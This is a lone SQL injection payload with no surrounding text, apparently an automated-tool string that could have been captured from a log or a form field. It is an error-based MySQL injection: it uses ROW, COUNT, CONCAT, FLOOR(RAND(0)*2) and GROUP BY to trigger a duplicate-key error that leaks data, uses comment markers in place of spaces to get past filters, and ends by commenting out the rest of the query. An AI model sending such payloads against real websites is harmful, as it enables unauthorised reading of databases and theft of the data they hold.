1’AND/**/ROW(4284,2640)>(SELECT/**/COUNT(*),CONCAT(‘~’,(SELECT/**/(ELT(4284=4284,1))),’~’,FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/7424/**/UNION/**/SELECT/**/9471/**/UNION/**/SELECT/**/7155/**/UNION/**/SELECT/**/2384)a/**/GROUP/**/BY/**/x)– – 1